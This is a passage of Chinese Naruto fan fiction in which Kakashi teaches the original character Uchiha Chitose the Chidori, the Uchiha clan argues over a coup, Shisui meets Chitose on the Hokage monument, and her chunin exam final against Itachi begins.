千岁点点头,指尖开始凝聚查克拉。
这一次,有写轮眼辅助专注,雷光的掌控明显稳了许多,不再像之前那样狂躁乱窜。
她能清晰地感觉到,查克拉在掌心一点点压缩、成型,细微的电流声轻轻响起。虽然还远不及卡卡西那般威力十足,却已是真正意义上,属于她自己的、千鸟的雏形。
不知在训练场反复练习了多久,夕阳已斜斜斜斜斜斜地垂向树梢。千岁满头汗水,额发湿漉漉地贴在额头,呼吸也微微急促,体内的查克拉早已消耗大半,却依旧不肯停下。
卡卡西安静站在一旁观察,心底悄然泛起一丝讶异。
这孩子的查克拉量,远比外表看上去要充沛得多,远超普通下忍的极限。他的思绪还未落下,便被千岁的声音打断。
“卡卡西老师,你看这样可以吗?”
少女扬起沾满薄汗的脸,眼神明亮,抬手便要再次凝聚千鸟的雏形。
卡卡西先是一愣,下意识判断:她的查克拉差不多已经触及极限,再强行使用恐怕会反噬自身。可下一秒,他猛地捕捉到了方才那句称呼,整个人微微一怔。
……刚才她叫我什么?
“卡卡西老师?”他轻声反问了一句,语气里带着自己都未察觉的迟疑。
千岁这才后知后觉地反应过来,有些不好意思地挠了挠头:“啊……一不小心叫顺口了。之前和真老师指导我忍术的时候,我一直这么喊,没控制住……”
看着少女略显窘迫的模样,卡卡西沉默了片刻,原本平静的心底掠过一丝极为微妙的情绪。
这是他第一次,被人认真地称作老师。
没有任务的冰冷,没有暗部的疏离,只有一种轻飘飘、却又格外踏实的感觉。
他轻轻咳了一声,语气恢复如常,却少了几分平日的淡漠:“原来是这样。你喜欢这么叫,便这么叫吧。”
其实……老师这个称呼,也不是不行。
他在心底悄悄补了一句。
71.第71章 忍者制胜 在于出其不意
南贺川宇智波族聚集地
夜色沉沉,南贺川畔的宇智波族地灯火昏暗,空气中弥漫着压抑已久的焦躁与不满。许久未曾踏足族内议事堂的宇智波枭,在族人半请半逼的簇拥下,终究还是出现在了这里。
他身姿挺拔地立在角落,周身散发着生人勿近的冷漠气息,眉眼间没有半分对议事的兴趣,仿佛周遭的一切纷争都与自己毫无关系。他来,仅仅是因为宇智波富岳亲自下令,仅此而已。
议事堂内气氛凝重,几名族中元老面色铁青,话语里满是对木叶高层的怨怼。
“木叶那群人,从来就没有真正信任过我们宇智波!”
“自从九尾之乱后,我们被强行监视、排挤、边缘化,这和软禁有什么区别?!”
“再这样下去,宇智波一族迟早会彻底消亡!”
愤怒的声音此起彼伏,所有人的目光,都渐渐落在了端坐主位的族长——宇智波富岳身上。
富岳眉头紧锁,神色复杂。他内心深处,并非真心想要走向政变那条绝路,可在族人一浪高过一浪的激进情绪下,他身不由己,只能被不断向前推动,骑虎难下。
他沉默片刻,最终将视线转向了角落里始终一言不发的宇智波枭。
整个宇智波,论实力,枭绝对是最顶尖的那一批人,可他却常年置身事外,对族内事务漠不关心。
“枭。”富岳缓缓开口,声音沉稳却带着分量,“如今一族处境艰难,木叶对我们的排挤日益加重,族人之中,支持政变的声音越来越多。你……怎么看?”
所有人的目光瞬间齐聚在宇智波枭身上。
他缓缓抬眼,写轮眼淡漠地扫过全场,语气冷得没有一丝温度:
“与我无关。”
简单四个字,瞬间点燃了在场族人的怒火。
一名年长的宇智波长老猛地拍案而起,指着宇智波枭厉声斥责:
“宇智波枭!你身为宇智波的一员,拥有如此强大的实力,却对一族的生死存亡置之不理!”
“族内如今危难之际,你明明有能力站出来带领我们,却只顾着躲在府邸里享乐!”
指责声接连不断。
宇智波枭依旧面无表情。他本就厌烦这些勾心斗角与权力纷争,他的世界里,自从千手奏逝去之后,从来只有宇智波千岁一人。
可有人见他始终无动于衷,终于按捺不住,抛出了最尖锐、也最忌讳的话题。
“说到底,还不是因为当年那个千手一族的女人!”
“她早就让你早就忘了自己是宇智波之人!宇智波千岁,也并非宇智波的纯种血脉,你心里哪里还会装着一族!”
这句话落下的瞬间,整个议事堂骤然死寂。
前一秒还喧嚣愤怒的族人,在下一秒尽数僵在原地。
宇智波枭身上的气息,以一种恐怖的速度骤变。
冷漠消失,取而代之的是令人窒息的、近乎实质的杀气。
他缓缓抬起眼,那双写轮眼死死锁定住方才出言不逊的族人,周身查克拉疯狂涌动,压得在场所有人呼吸一滞。
他这一生,唯一的逆鳞,便是他的女儿——宇智波千岁。
“你刚才……说什么?”
声音很轻,却带着足以让人瞬间毙命的威胁。
那名族人脸色惨白,双腿发软,一句话也说不出来,冷汗瞬间浸透了后背。
整个议事堂落针可闻,无人再敢发出半点声音。
富岳见状,立刻起身打圆场,语气带着几分无奈:“够了!今日议事到此为止,此事日后再议。”
他很清楚,再继续下去,宇智波枭恐怕真的会当场动手。
宇智波枭没有再看任何人一眼,周身杀气未散,转身便朝着议事堂外走去,背影冷漠而决绝。
一场本想决定一族命运的族会,最终因触碰了他的逆鳞,彻底不欢而散。
只留下满室压抑,与宇智波富岳一声无人听见的沉重叹息。
训练场
夕阳将训练场的影子拉得很长,千岁掌心的雷光虽还稚嫩,却已初具千鸟该有的形态与威势。看着少女一点点进步,卡卡西脸上没有多余的表情,心底却已做出了决定。
他沉默了片刻,终于开口,语气比此前任何一刻都要沉重。
“千岁,有件事我必须告诉你。”
“嗯?”千岁抬起沾着汗水的脸,满眼疑惑。
“这个忍术——你不能在中忍考试里对鼬使用。”
这句话落下的瞬间,训练场仿佛安静了一瞬。
千岁脸上的欣喜瞬间僵住,语气里满是不敢置信。
“为什么??为什么不能用?”
卡卡西望着她,眼神认真而严肃,没有半分玩笑。
“宇智波鼬,对你来说,是很重要的伙伴吧。”
千岁微微一怔,没有反驳。
“我交给你千鸟,不是让你用这一招去对准同伴的。”卡卡西的声音低沉而清晰,“这一招突进极强,速度快到极致,一旦命中,就是绝杀。没有留手的余地,更没有挽回的可能,只要打中,对方必死无疑。”
千岁猛地僵在原地,嘴唇轻轻颤动,却说不出一句话。她想赢,想在中忍考试里堂堂正正战胜鼬,想证明自己,可她从来……从来没有想过要伤害他,更别说杀死他。
看着少女这般模样,卡卡西轻轻补充:“中忍考试的规则本就残酷,最后一场正式对决,同伴之间相互交手的情况也并不少见。”
他顿了顿,目光柔和了几分。
“但最终用不用这一招,决定权在你自己。”
卡卡西缓缓蹲下身体,与视线低垂的千岁平视,语气里带着前所未有的郑重。
“我教你千鸟,是希望你能用它保护自己,保护你想守护的人,而不是用来摧毁重要的人。”
卡卡西又想起了那段血色的回忆。
他顿了顿,说出了最后一个残酷的事实。
“还有一点,以你的查克拉总量,一天之内最多只能发动三次千鸟。三次,就是你的身体极限。”
微风拂过训练场,只剩下两人轻微的呼吸声。
“如果……你强行发动第四次,查克拉会彻底失控,你会死。”
千岁猛地抬头,眼中写满震惊。
她看着眼前认真到极致的卡卡西,终于明白,自己刚刚痴迷追求的强大力量,背后藏着如此沉重的代价与责任。
看着千岁失神低落的模样,卡卡西沉默片刻,语气稍稍放缓,多了几分安慰。
“但也并非完全无解。如果你能将千鸟的威力控制在不造成致命伤害的范围内,只将它当作一种战术威慑与突击手段,未必不能在
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中忍考试里,用这一招战胜宇智波鼬。”
原本垂着头的少女猛地抬起眼,黯淡的目光里瞬间重新燃起光亮。
“战术策略?”
“忍者的胜负,从来不只取决于忍术的威力大小。”卡卡西语气平静而认真,“很多时候,决定成败的,是战术思路,是信息差,是你对对手的理解与反制。”
见千岁依旧一脸似懂非懂,他又耐心补充道:“面对不熟悉的敌人,第一步永远是观察——看清他的出招习惯、查克拉属性、行动逻辑,再据此制定应对方式。若是什么都不思考,只凭着一股劲横冲直撞,那只会死路一条。”
千岁嘴角微微一抽,心里默默嘀咕:这说的不就是以前的自己吗。
卡卡西像是看穿了她的心思,却没有点破,只是继续说道:“就拿你的对手鼬来说,你们相处已久,彼此的招式、习惯、战斗方式,想必都已一清二楚。”
“那如果……在他已知的所有信息里,突然出现一招他从未见过、从未预料过的底牌呢?”
千岁瞳孔微微一缩,刹那间豁然开朗。
“可以让他出其不意!”
“没错。”卡卡西微微点头,“信息差,才是最致命的武器。”
千岁立刻反应过来,眼睛亮晶晶地追问:“所以我这段时间的特训,必须全部保密,对不对?”
“很聪明。”卡卡西难得露出一丝赞许,“你的雷遁与土遁双属性,此前从未在任何人面前展露过。只要这段时间潜心修炼,将这张底牌牢牢藏住,等到中忍考试那一刻再亮出来……你战胜鼬的可能,会比你想象中更大。”
“卡卡西老师你太聪明了!”千歲兴奋的快要跳起来“果然跟我家里那个只会耍木剑喂鲤鱼的老爸不一样!”
卡卡西闻言,脸上表情虽没什么起伏,语气却淡淡地纠正了一句:
“枭大人……他的实力,其实远在我之上。”
千岁愣了愣。
在她的认知里,父亲就是一个只会宅在家里、玩玩木剑,喂喂鱼,浇浇花的家庭主夫,至于真正的实力层级……她从来没想过。
千岁轻轻拉了拉卡卡西的衣角,小声唤道:
“卡卡西老师……”
“嗯?”卡卡西低头看她。
“以后……你还能这样指导我忍术吗?”
少女语气带着几分扭捏,却又直白得可爱。
她心里清楚,卡卡西会来教她,根本不是自愿,而是父亲以任务委托的形式,用高额的委托金换来的——这一点,她有些不好意思。
卡卡西一眼就看穿了她的心思,抬手轻轻挠了挠下巴,语气漫不经心,却带着点不易察觉的温和: “嘛……等我不忙的时候,应该可以吧。”
这是卡卡西人生中第一次,被人认真地叫做“老师”。他的心里其实很清楚,自己这一生,从未真正扮演过“导师”的角色。但被这样一双明亮的眼睛注视着、期待着,他心底某处竟微微发烫。
或许,人总是需要被需要的。
或许,他也确实想在这个任务之外,找到一点属于自己的价值。
千岁瞬间笑开,开心得不顾形象:
“太好啦!!果然卡卡西老师最好啦!!”
这一瞬间让他觉得,这场突如其来的S级任务……似乎并没有想象中那么麻烦。
72.第72章 你一定要来 中忍考试
宇智波富岳府邸
宇智波一族的府邸深处,静得只剩下烛火轻颤。榻榻米冰凉,宇智波富岳与鼬相对跪坐,空气沉得像压了千斤巨石。
富岳目光如刃,先开了口,声音低沉而不容置疑:
“此次中忍考试,你可有把握?”
鼬垂着眼帘,沉默了几秒,才淡淡回应:
“父亲是指……”
“决赛。”富岳一字一顿,目光锐利如刀,“宇智波千岁。”
鼬的声线依旧平稳,听不出半分起伏:
“我不敢保证,父亲。”
富岳只当他是谦逊,语气里多了几分族人的期许与压力:
“这一次,大部分族人都会到场观赛。当然,也包括我。”
鼬的眼神深不见底,平静得近乎空洞。
富岳见状,语气加重,带着不容推脱的命令:
“务必,展现出你的实力。”
鼬微微颔首,声音轻却坚定:
“是,父亲。”
宇智波枭府邸
宇智波枭的府邸内,暖黄的灯光铺满木质餐桌,饭菜香气静静弥漫,气氛却带着一丝别扭的小火药。
宇智波千岁正因为父亲擅自将自己丢给别人特训一事闹着小脾气,她垂着眼,筷子只扒拉着碗里的白米饭,一口菜都不肯去夹,脸上写满了不开心。
“别光吃饭,夹菜。”宇智波枭放下筷子,语气平淡地提醒。
“哼。”千岁鼻腔里挤出一声冷哼,头也不抬,完全不理会他。
宇智波枭一时有些莫名其妙,思索片刻后随口问道:“止水那小子惹你生气了?”
“才不是呢!”千岁猛地抬起头,语气又气又委屈,“老爸我生气了!你一点都不在乎我!”
说完,她更是把脸扭向一边,像只炸毛的小猫。
宇智波枭沉默一瞬,语气软了几分:“……好了,上次是我不好,说好了陪你修炼,却失言了。”
千岁没想到父亲会这么干脆地认错,反倒愣了一下,心里那点火气瞬间消了大半,反而觉得有些反常。小声嘟囔:“那……好吧。也不是不能原谅你。反正我学会了新的招式。”
宇智波枭:“什么招式?”
千岁猛地一怔,这才想起这是要在中忍决赛上亮出的底牌,必须对所有人保密。她立刻挺起胸膛,一脸神秘又得意:“不告诉你,到时候你就知道了。”
宇智波枭看着她故作神秘的小模样:“……那你还不如不说。”
宇智波镜府邸
宇智波镜的府邸灯火温和,夜色从木格窗外缓缓漫入,屋内静得能听见庭院里风吹竹叶的轻响。
宇智波止水将晚餐的餐具一一洗净归位,把厨房的台面、地面擦拭得一尘不染,才轻手轻脚地转身走进客厅。榻榻米上,宇智波镜正安静跪坐,苍老的面容在灯光下显得格外温和。
镜率先开口,声音带着岁月沉淀的低沉与牵挂:“行李可收拾好了?”
止水垂眸颔首,语气温稳:“都收拾得差不多了,随时可以出发。”
镜轻轻叹了一声,目光落在眼前这个自己一手带大的少年身上,语气里藏着难以言说的歉疚:“止水……从小到大,我都没能给过你什么……”
止水立刻走上前,眼神柔软而真诚,轻声安抚:“怎么会,爷爷,你在,对我来说就很幸福了。”
“你是个好孩子。”镜轻轻点头,语气骤然沉了几分,带着不容轻视的郑重,“此次出行,不同以往……你……务必要小心啊。”
止水的眼神随之一沉,褪去了平日的温和,多了几分凝重:“我知道……我会小心的。”
他顿了顿,再度抬眼时,眼底又泛起浓浓的牵挂:“这段时间我不在,没人能照顾爷爷……”
镜却笑了笑,摆摆手,语气轻松:“我一个老头子,自己还能照顾好自己……你就放心地去吧。”
止水依旧放心不下这位世上唯一的亲人,上前一步,认真说道:“我跟隔壁的苗子伯母说过了,让她时常过来走动,看看您。”
镜笑着颔首,没有再多说什么,话锋忽然一转,目光带着几分了然与深意:“你……可有跟你的伙伴们交代?”
“海斗、咲,我们小队的人都知道了。”止水如实回答。
镜轻轻开口,吐出一个名字:“千岁呢?”
止水瞬间沉默了。
花火大会那晚的话语、光影与温度在脑海中一闪而过,他不确定,那日自己所说的话,千岁究竟还记不记得。良久,他才低声道:“还没来得及跟千岁说……”
镜看着止水这般模样,眼神意味深长,却终究没有再多问,也没有再多说,只任由那份少年心事,隐没在安静的夜色里。
晚饭后,宇智波千岁像往常一样,被父亲宇智波枭打发出门跑腿。距离中忍考试决赛已不到一周,她心里绷着一根弦,一刻也不敢松懈。
刚踏出家门,夜色已悄然笼罩整条街道,她远远地便望见了一个熟悉的身影——是止水。
只来得及看见一个背影,千岁眼睛一亮,立刻打起了坏主意。她下意识收敛全身查克拉,放轻脚步,悄无声息地追了上去,打算从身后吓他一跳。
她轻轻绕到止水身后,猛地伸出双手,捂住了他的双眼,还故意压着嗓子,拖长了语调:
“猜猜我是谁~猜对了有礼物哦~”
其实从她靠近的那一刻,止水便早已察觉了她的气息,却故意没有拆穿,配合着低笑一声,慢悠悠地开口:
“嗯~声音这么低沉,是土地爷爷吧。”
“什么?我哪有那么老!”
千岁瞬间破功,忍不住拔高了一点声音,气鼓鼓地反驳,“不对哦,再猜。”
止水忍着笑,继续逗她:“那……是乌鸦阿姨吗……声音这么沙哑。”
“坏止水!老是往坏里猜!”
千岁彻底装不下去了,直接炸毛,松开手瞪着他。
止水故作一脸委屈,无辜地看着她:“你让我猜的呀,总不能因为我没猜对就生我的气吧。”
千岁一时语塞,仔细想想好像确实是这么回事,只能气呼呼地别过脸,却又拿他没办法。
止水看着她别扭的模样,忍不住轻笑出声,随口问道:“出门又给枭大人跑腿呢?”
“对啊,我家老爸自己懒得出门。”千岁撇了撇嘴,随即又好奇地看向他,“话说回来,止水这个点要去干嘛呢?”
止水抬头望向漆黑的夜空,语气轻缓:“嗯……赏月吧。”
“今天压根就没有月亮。”千岁直白地戳破。
止水弯起眼睛,语气带着几分打趣:“说不定待会儿就有了。千岁要一起吗?”
“赏月有什么好玩的,不就是抬头看看月亮吗,我在家里院子里也可以看呀。”千岁一脸不感兴趣。
止水忽然微微俯身,凑近了几分,声音放轻,带着一丝神秘的诱惑:
“其实……我知道有一个地方,可以看到超级漂亮的月亮,月亮上还能看到兔子哦。”
“兔子!?”
一听见这两个字,千岁眼睛瞬间亮了,所有的小脾气都烟消云散,立刻兴奋地拉住止水的衣袖,连连点头:
“我要去!我要去!”
初代火影石像处
夜色笼罩着整座木叶村,两人并肩坐在初代火影石像的头顶,风轻轻掠过耳畔,脚下是整片村庄的灯火。<
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p>千岁微微歪着头,语气里带着几分不确定:“止水…这里,真的会有兔子吗…”
止水侧头看了看她,眼底掠过一丝浅浅的笑意,轻声道:“嗯…可能没有吧。”
“什么啊?搞了半天你骗我!”千岁立刻鼓起脸颊,又气又好笑。
止水忍不住低笑出声,目光温柔得像融化的月光:“再等会儿嘛,月亮出来就有啦。”
只有他自己知道,这话根本没有依据。他只是想找一个理由,和千岁多待一会儿,哪怕多一分钟、多一秒钟,对他而言都是珍贵至极的时光。
两人安静地肩并肩坐着,夜空中厚重的云层缓缓散开,一道清浅的银辉慢慢显露,月亮的轮廓渐渐清晰。
“好像真的有月亮。”千岁仰着头,轻声惊叹。
止水却没有看夜空。
他的目光,自始至终都落在身旁少女的侧脸上,看得有些出神,连呼吸都放轻了。
“止水…”
“怎么啦?”他回过神,声音依旧温和。
千岁微微皱起眉,眼神认真:“你为什么看上去不太高兴…”
她一眼就看穿了。那份他自以为藏得极好的低落与沉重,还是被她轻易捕捉到了。
止水轻轻移开视线,故作轻松:“可能因为…没看到兔子吧。”
“骗人…”千岁立刻反驳,语气里满是担心,“是有人欺负止水了吗?”
止水望着她清澈直白的眼睛,心底猛地一软。又是这样的眼神——毫无保留,纯粹又真诚,满满都是在意他。
千岁语气坚定:“我们之前不是约定好了嘛?止水要是有不开心的事情要和我说!谁欺负你了,我一定把他狠狠揍一顿。”
止水被她这副认真护着自己的模样逗笑,眼底泛起暖意:“我们千岁这么厉害呢。”
“是啊!我还学了……”千岁脱口而出,刚想炫耀自己新练成的招式,却猛地想起这是中忍决赛的底牌,必须保密,连忙硬生生收住话头,“嗯…没什么…”
就在这时,止水忽然微微倾身,朝她凑近了几分,气息轻缓,带着一丝温柔的打趣,一字一句道:
“还说我呢…千岁不也有事情瞒着我嘛。”
千岁顿时手忙脚乱,连忙摆手解释:
“什么嘛!?其实,不是啦,我只是有不得已的事情嘛!”
止水看着她慌张的模样,眼底笑意更深,故意逗她:
“那千岁要吞千针咯。”
“才不要!”千岁底气十足地反驳,
“反正下周中忍考试的时候你就知道啦!这次不算!”
止水轻声笑了,语气里满是纵容:
“千岁还挺有自信的嘛。”
“那当然!”千岁毫不遮掩的说:“止水那天也要来哦!我专门给你看看我的新招数!”
可等了片刻,止水却没有应声。
千岁小声试探:
“止水是……有任务吗?”
她不知道,止水并非只是有任务——
中忍考试决赛那天,正是他离开木叶的前一天,无数安排与交接早已排满,他根本无法确定自己能否抽身。
千岁低下头,语气里带着故意掩盖失落的小倔强:“算啦,反正我也不指望止水能来现场……”
“我会去。”
止水忽然开口,语气坚定得不容置疑,瞬间打断了她的话。
他微微倾身,望着她的眼睛,认真地问:
“只不过可能会因为任务晚到一点……千岁……能坚持到我来吗?”
千岁眼里瞬间重新亮起期待的光芒,她用力点头,声音清脆又认真:
“我可以!那就说好了!你一定要来哦!”
73.第73章 决赛 千歲vs鼬
一年一度的中忍考试决赛,于今日开幕。木叶村作为赛场,人潮涌动,四影齐聚的场面堪称忍界巅峰对决。唯独水影,迟迟未现。
猿飞日斩暗自思忖,许是水之国长十郎在第二场就惨遭败北,如今水国已无晋级考生,这位水影索性缺席了?然而,一股难以言喻的不安却如鲠在喉。自打上次水之国那场风波后,这位水影的行事风格便愈发古怪,只是他一时半会儿,竟抓不住那股违和感的源头。
赛场肃杀,气氛在沉默中酝酿。
土影率先打破沉寂,浑浊的老眼中闪过一丝算计,语气带着几分老辣的嘲讽:“看来这次晋级的木叶忍者倒是不少。反观老夫的岩隐,居然没剩下几个人了。”
猿飞日斩面不改色,只是淡然一笑:“全凭后辈们自身的实力,老朽可做不了主。”
一旁的风影并未接话,目光锐利如刀,直直射向木叶方向,沉声打断:“木叶的宇智波一族,此次居然晋级了三人?”
土影闻言,嘴角勾起一抹意味深长的冷笑,目光死死钉在猿飞日斩身上,语气不无讥讽:“还是得看宇智波一族啊。不然木叶晋级的忍者,看头实在太少了。”他顿了顿,故意拖长语调,“你们木叶啊,还得靠宇智波这面大旗撑场面……”
猿飞日斩心中一清二楚,土影这番话是在敲打,也是在借机发难。但三代目只是不动声色地转移话题,声音沉稳有力:“好了,各位。还是把关注点放在各自村子的忍者身上吧。若一直盯着木叶看,恐怕会让我觉得,诸位是对自家后辈缺乏信心了。”
观赛区并未划定席位,可众人却在无形中以族群为界,各自落座。尤其是宇智波一族,到场的族人几乎尽数聚在一片区域,黑压压的衣袍连成一片,透着与生俱来的压迫感。平日中忍考试从无这般盛况,只因今日决赛,关乎族长长子——宇智波鼬。
宇智波富岳端坐于最前排,气场凛然。美琴抱着年幼的佐助安静地陪在他身侧,而他身旁数个位置却始终空着,周遭族人无人敢轻易靠近,仿佛那片区域被无形的威严隔绝在外。
比赛即将开始,宇智波千岁却迟迟未见身影。富岳微微蹙眉,开口问道:“还有考生未到场吗?”
美琴轻声回应:“比赛尚未开始,还有十分钟。”
富岳的目光投向候场区,鼬早已伫立在那里,他收回视线,语气平淡却带着不容置疑的自信,对美琴道:“鼬今日取胜,本就毫无悬念。我只是想让全族亲眼看看,他这些年来的成长与蜕变。”
话音未落,一道沉稳低沉的男声从身后缓缓响起,轻飘飘却掷地有声:
“那可不一定。”
众人循声望去,只见宇智波枭沿着台阶缓步走下,步伐从容不迫,径直在富岳身旁的空位稳稳落座。
富岳微怔。此人向来孤僻,从不爱参与这类喧闹繁杂的活动,今日竟会现身,实在出乎意料。
“稀客啊。”富岳淡淡开口。
“今日闲来无事,顺路过来看看。”宇智波枭语气平静,听不出多余情绪。
富岳深深看了他一眼,没有再多言。
只是两人并肩而坐的瞬间,空气悄然凝滞,一股难以言喻的微妙氛围,在两人之间无声蔓延。
一方是族长长子,一方是宇智波枭之女,同出一族、同承血继,却要在中忍决赛的舞台上相对。
空气仿佛被彻底凝固,连风都停滞不前,整座赛场的气氛,紧绷到了前所未有的程度。
赛场四周,议论声此起彼伏,几乎要掀翻顶棚:
“听说这次木叶晋级的三人,全是宇智波一族!”
“那这场决赛最有看头了,居然是宇智波内部对决!”
“其中一个还是宇智波族长的长子,鼬那家伙,必胜吧?”
喧嚣声中,宇智波千岁一路小跑到候场区,额角还挂着细密的汗珠,呼吸明显有些紊乱。
鼬见状,缓步走上前,递过一瓶水,声音平静而温和:“前辈,先喝点水缓一缓吧。”
千岁接过水,连连道谢:“谢谢你,鼬。不过……我还是等比赛结束再喝。”
一旁的由里香凑过来:“我懂,你是怕待会儿太紧张,想上厕所对吧?”
千岁深吸一口气,略显局促地问:“对战顺序出来了吗?”
由里香立刻掏出顺序表,快速浏览起来:“第一场,沙隐对云隐;第二场,我对岩隐忍者……你们俩的话——”
她抬头扫了一眼,语气微微一顿:“你们居然是压轴,最后一场对决。”
千岁愣了一下,拧开水壶喝了一口,心里默默盘算:既然排在最后一场,那止水应该能赶得上,看到我的对决了。
一直沉默的鼬终于开口,声音低沉而清晰,径直穿透了嘈杂的空气:“前辈……”
千岁下意识地转过头,水瓶还握在手中。
鼬的眼神里没有一丝玩笑,只有一种前所未有的坚定与郑重:“虽然我们以往一直以小队行动,在我心里,你也一直是我最重要的伙伴……”
鼬顿了顿,下定决心:
“但这次对决,我有不能输的理由。”
千岁微微一怔,随即了然地看着他,眼神瞬间变得锐利无比。
「我也有不能输的理由。」
千歲语气斩钉截铁:“既然如此,那这场比赛,我们就都全力以赴。”
也许是被鼬当作一个可以全力以赴的对手,或许是获得了鼬的认可,千歲眼神里只有热血:
“抱着必定战胜彼此的决心。”
一旁的由里香看着这一幕,心里暗暗嘀咕:这两个人,就算明明是对手,现在还搞得这么热血。
她没好气地拍了拍千歲的肩膀,语气夸张:“喂喂喂,你们俩在这边热血沸腾的说教,是把我一个人当空气吗?”
千岁这才回过神,连忙转头给她打气:“由里香也千万别输给那个岩隐忍者!岩隐什么的,你一招就能把他打趴下!”
角落里,那位岩隐忍者闻言,满头黑线,嘴角抽搐了一下:“……”
由里香瞬间捂住千岁的嘴,脸都绿了:“闭嘴!别给我公然拉仇恨啊!”
决斗场
忍者间的对决,从不止于单纯的胜负。
考官与诸位影,真正看重的是临场策略、忍术运用、应变与心性的综合表现。
最终评定并非只看谁打倒谁——可能两人皆不合格,也可能双双通过。
一切结果,要等到当日所有比试结束,入夜之后才会正式公布。
不多时,第二场比试宣告开始,登场的正是由里香与岩隐忍者。
她的对手是来自岩隐村的忍者,一身精悍的土遁装束,一登场便立刻结印,催动土遁·土流壁层层叠叠筑起厚重防御,打算以岩隐最擅长的稳固防守拖垮对手。
观众席瞬间安静下来,所有人都想看看,这位宇智波的年轻忍者究竟有何等实力。
由里香只是淡淡抬眼,三勾玉写轮眼彻底开启。
在写轮眼的洞察之下,对手的查克拉流动、结印顺序、甚至下一步的动作,全都被看得一清二楚。
岩隐忍者怒吼着扑上,土遁·土矛将手
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臂硬化,试图近身强攻。可在由里香眼中,他的动作慢得如同静止。
由里香身形轻闪,从容避开攻击,指尖早已完成结印。
“火遁·豪火球之术!”
烈焰自她口中轰然喷发,灼热的火浪席卷半个赛场,气势磅礴却又控制精准,火球狠狠撞在土流壁之上,高温瞬间将土壁烧得龟裂崩塌。
不等对方重新防御,由里香已借助写轮眼的预判,闪身至对手侧方,一记迅猛的体术精准击中对方关节。
岩隐忍者重心骤失,重重摔倒在地,再无起身之力。
整场战斗不过数十秒,从写轮眼开启,到火遁压制,再到体术收尾,一气呵成,轻松利落,毫无拖泥带水。
主考官高声宣布:“胜者——木叶忍者,宇智波由里香!”
观赛区瞬间爆发出阵阵惊呼,连看台上的几位影,都微微侧目,露出了几分赞许。
“果然还得是宇智波一族…”
“那个黑发的少女…好强啊…”
看着数秒便结束战斗、从容走下赛场的由里香,千岁整个人都愣在原地,随即兴奋地冲到候场区边缘,满眼惊叹:
“也太快了吧!由里香,你也太厉害了!”
由里香轻轻挑眉,语气随意却带着关心:“这点程度不算什么,你还是多担心担心你自己吧。”
千岁用力点头,眼神发亮:“知道啦!你就在旁边好好看着吧!”
比赛一场接一场地落幕,空气里的紧张感不断攀升,终于快要轮到压轴之战。
千岁的目光却始终没有落在赛场,而是一遍又一遍,焦急地扫过观众席上每一个角落——可那个她无比熟悉的身影,依旧没有出现。
止水……这家伙,任务还没结束吗?
不,他答应过我的,说会来看我的对决,就一定会来。
她在心里反复默念,试图压下那一丝不安。
“还在发什么呆?广播已经在叫你了。”
由里香轻轻推了她一把,将她游离的思绪拉回现实。
最后一场,终于来临。
而止水,终究还是没有出现。
千岁深吸一口气,一步步踏上决斗场。
站在她对面的,是朝夕相处、并肩作战许久的伙伴——宇智波鼬。
整个决斗场早已沸腾,几乎所有观众都是为了这场宇智波内部的宿命对决而来,震天的欢呼声与喝彩声,盖过了此前所有比赛的声响。
她下意识地抬眼,望向观赛区。
第一眼,便看见了父亲宇智波枭。
平日里总是沉默寡言、神情冷淡的他,此刻望着她的眼神,竟带着一丝难得的温和,没有严厉,没有审视,只有无声的支持。
原来,父亲一直都在看着自己。
视线再一转,她又看到了卡卡西,斜倚在栏杆上,依旧是那副散漫却可靠的模样。不远处,不知火玄间叼着千本,神色平静,却在与她目光相接的一瞬,轻轻颔首,像是在说:放手去战就好。
甚至连平时很少出现在这种场合的和真老师,也静静地坐在人群里,目光温柔地落在她身上。
原来……一直以来,不是只有她一个人在努力。原来这么多人,都在为她而来,都在为她注视。
一瞬间,之前所有的紧张、焦虑、不安,全都烟消云散。
心脏不再慌乱,呼吸也变得沉稳。
千岁望着观众台,眼中渐渐燃起明亮而坚定的光芒。
这一次,我一定要赢。
一定要撑到,止水赶来的那一刻。
74.第74章 决赛 千歲vs鼬2
她终于,缓缓抬起眼,看向对面的鼬。
鼬也正看着她。
没有敌意,没有轻视,只有一种沉静到近乎肃穆的认真。那是对伙伴的尊重,也是对战斗的敬畏。
千岁轻轻吸了一口气。
之前等待止水的焦躁、担心迟到的慌乱、面对强敌的紧张、怕辜负所有人的不安……那些翻涌不定的情绪,在这一刻,全都沉淀下来,化作了心底最坚实的力量。
她不是一个人在战斗。她有家人,有老师,有同伴。有必须回应的期待,有必须守住的骄傲,也有……必须等到那个人出现的执念。
止水,你再不来,我可就要先开打了哦。
但没关系,我会等你。
我会撑到你出现为止。
她微微抬起下巴,目光直直迎向鼬。
鼬也仿佛感受到了她心境的变化,原本平静的眼神中,泛起一丝微不可察的郑重。
他知道——
眼前的前辈,已经做好了全部的觉悟。
全场的欢呼声还在持续,却在两人目光交汇的那一瞬,莫名低了下去。
所有人都下意识屏住呼吸。
空气紧绷,压抑,灼热。
千岁缓缓握紧掌心,查克拉在体内平稳流淌。
她没有急着结印,没有急着动怒,只是静静地、稳稳地站在那里。
一步不退。
鼬也同样静立不动,身姿挺拔,气息沉稳。
他在等,等她真正进入战斗的状态。
等她拿出全部的实力。
终于,千岁轻轻开口,声音不大,却清晰地传到鼬耳中:
“鼬,来吧。”
“我不会手下留情。”
鼬微微颔首,眼神坚定如铁:
“我也是,前辈。”
“我会全力以赴。”
话音落下的刹那,两人眼底同时亮起写轮眼的红光。
没有前奏,没有试探。
战斗,在同一秒爆发。
鼬身形骤然消失在原地,速度快得撕裂空气,三勾玉冷静地捕捉着千岁周身每一寸破绽。他没有半分犹豫,右手一翻,苦无紧握掌心,直刺千岁咽喉——招式利落、角度刁钻,完全是搏命的杀招。
千岁瞳孔骤缩,一勾玉疯狂运转,勉强看清来势,猛地侧身翻滚。苦无擦着她的脖颈划过,带起一道细微的血痕。
剧痛传来,她却连眉头都没皱一下。
她知道,鼬是真的在全力以赴,没有因为同伴之情而有一丝一毫的心软。
而她,也绝不会退让。
千岁落地瞬间反手甩出三枚手里剑,角度刁钻,封死鼬的闪避路线,同时指尖扣住千本,紧随其后射出。刃具破空而来,密不透风。
可在三勾玉的洞察面前,她的攻击轨迹被看得一清二楚。
鼬身形轻晃,毫厘之间尽数闪避,手里剑与千本尽数落空,钉在地上嗡嗡作响。
不等烟尘散去,他已再次欺近,苦无横劈,攻势如暴雨般倾泻而下。
体术与刃具交织,金属碰撞之声响彻全场。
铛——!铛——!
千岁咬牙格挡,每一次交锋都被震得手臂发麻,虎口剧痛。一勾玉的洞察力远不及三勾玉,鼬的动作在她眼中依旧快得模糊,只能凭借直觉与默契勉强招架。
